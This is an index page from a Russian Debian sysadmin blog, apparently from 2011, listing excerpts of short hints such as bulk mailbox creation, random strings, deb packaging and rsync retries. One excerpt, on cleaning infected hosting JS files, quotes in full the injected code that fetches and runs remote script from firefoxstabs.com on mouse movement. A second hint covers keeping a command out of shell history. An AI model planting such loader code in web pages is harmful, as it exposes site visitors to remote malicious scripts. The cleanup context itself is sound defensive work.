Debian.pro

Про Debian


ispmanager. Создаём много-много ящиков пачкой.

Сегодня возникла небольшая задачка — создать кучу ящиков. На сервере, к счастью, когда то стоял ispmgr. Поэтому создавать будем его средствами mgrctl. Ящики будем создавать вида 1@domain.tld, 2@domain.tld … 1000@domain.tld с рандомным паролем в 10 символов. Для начала присудим значение переменной i: root@server:~# i=1 И создадим ящики: root@server:~# while [ $i != 1001 ]; do [...]

28.05.2011 в 22:18 byinkvizitor68sl|хинты| 0 коммент.
Метки:

Рандомная строка, linux random string, freebsd random string.

Сегодня с удивлением обнаружил, что гугл не выдаёт ничего хорошего на тему быстрого генерирования рандомной строки в консоли. Кошмар. У нас задача — сгенерировать 8 рандомных символов — англ букв и цифр. Буквы будут только мелкие. Всё очень просто: head -c 100 /dev/random | md5 | tail -c9 В комментариях Civil (тоже с #yakit, кстати) [...]

28.05.2011 в 21:59 byinkvizitor68sl|хинты| 13 коммент.
Метки: ,

Простейший способ собрать свой deb-пакет с данными (например, с конфигами, скриптами, ключами авторизации).

Частенько возникает необходимость собрать пакет с какими либо файлами, из которых скомпилировать ничего нельзя. В моём случае это чаще всего самописные bash-скрипты, файл с public ключами ssh… Ещё интересная идея так же паковать архивы. В рассмотренном ниже примере мы создадим один deb пакет с аж тремя вкусными штуками: 1) конфигурационные файлы nginx с нашего сервера [...]

Зараженный js на хостинге

Вот столкнулся с такой штукой что во всех js файлах одного аккаунта были прописаны левые ссылки. Лечим таким образом в командной строке делаем : find 55 -name «*.js» |xargs sed -i «s|document.write(‘<scr’+’ipt src=\»https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\»></scr’+’ipt>’);var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript(‘http://firefoxstabs.com/’ + Math.random().toString().substring(3) + ‘.js’, function() {flag = 2;});}});});| [...]

Запускаем rsync так, чтобы он выполнялся до победного конца.

Иногда возникает необходимость перенести кучу файлов с сервера на сервер. Ну или скопировать из каталога в каталог. Многие используют для этого rsync. Но есть одно неприятное обстоятельство — если отвалится сеть — то процесс остановится и не продолжится. Хорошо бы, чтобы он перезапускался автоматически. Запускать в тупом цикле — некрасиво. Хочется, чтобы процесс перестал работать, [...]

Ubuntu, избавляемся от надоедливых окон update-manager.

Не знаю как вас, а меня бесят окна update-manager (а точнее — update-notifier), которые вылазят сами по себе. Особенно это напрягает на домашнем сервере (он же — медиа-станция временами, т.к. core i3+intel hd). Включишь монитор — а там 100500 этих окон. Дебиан туда в своё время ставить было лениво. Логичным поведение я считаю иконку в [...]

Хинт: быстро включаем и выключаем ответ на пинги нашей машинкой с Debian

Зачем оно надо знают все. Ну а если не знаете — то оно вам ненадо. Фильтровать пинги на iptables — дело неблагодарное и нелепое. Всё намного проще. Делаем так, чтобы наша машинка не отвечала на пинги (по ipv4): root@host:~# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all Возвращаем всё на место: root@host:~# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all Ну и более [...]

Хинт: как ввести (одну) команду в консоли так, чтобы она не попала в history

Иногда возникает необходимость ввести команду в консоли так, чтобы команда не попала в history. Сразу оговоримся, что данный хинт не спасет вас от логгирования всех команд на уровне демона ssh или от включенного логирования в /etc/profile Проверял я это в sh, csh и bash. После употребления данной фичи, команду нельзя повторить, нажав стрелку вверх, и [...]

25.04.2011 в 17:31 byinkvizitor68sl|хинты| 12 коммент.
Метки: